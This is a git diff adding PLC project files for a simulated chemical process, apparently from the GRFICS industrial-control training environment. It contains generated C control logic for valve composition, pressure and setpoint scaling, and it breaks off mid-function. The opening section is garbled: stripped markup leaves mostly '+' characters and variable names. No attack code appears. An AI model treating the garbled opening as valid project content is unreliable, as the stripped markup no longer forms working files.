pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + 